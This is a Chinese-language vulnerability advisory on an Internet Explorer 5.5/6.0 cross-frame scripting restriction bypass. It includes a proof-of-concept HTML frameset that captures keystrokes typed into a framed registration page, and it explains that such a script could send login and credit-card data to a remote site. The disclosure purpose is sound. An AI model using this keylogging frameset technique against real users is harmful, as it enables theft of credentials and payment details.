Microsoft Internet Explorer 跨帧脚本限制可被绕过
涉及程序:
Microsoft Internet Explorer
描述:
Microsoft Internet Explorer 跨帧脚本限制可被绕过
详细: Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer存在一个访问验证错误,远程攻击者可以利用这个漏洞可绕过跨帧脚本限制,盲目的'受信'的执行恶意脚本。
问题是由于IE事件处理函数中的不充分限制。根据Microsoft Knowledge Base Article 167796( http://support.microsoft.com/support/kb/articles/Q167/7/96.asp ),在不同域中的帧访问必须限制。但是通过构建包含恶意JavaScript的帧定义,可绕过帧访问限制。
攻击者可以诱骗用户连接包含恶意帧的页面来利用这个漏洞。获得敏感信息,或者受信情况下访问伪造页面。
受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
攻击方法:
下面是通过利用frameset的iDEFENSE注册页,会显示击键记录:
<html>
<head><title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
<frame src="http://www.idefense.com/register.jsp" scrolling="auto">
</frameset>
</html>
下面的击键事件只在事件通过framesets时才发生,恶意脚本会监视所有目标Frameset中的击键记录,并传送记录到任意远程指定地点。因此利用这个漏洞可获得敏感信息,如登录信息和信用卡信息。
解决方案:
目前厂商还没有提供补丁或者升级程序,建议用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp
附加信息:
无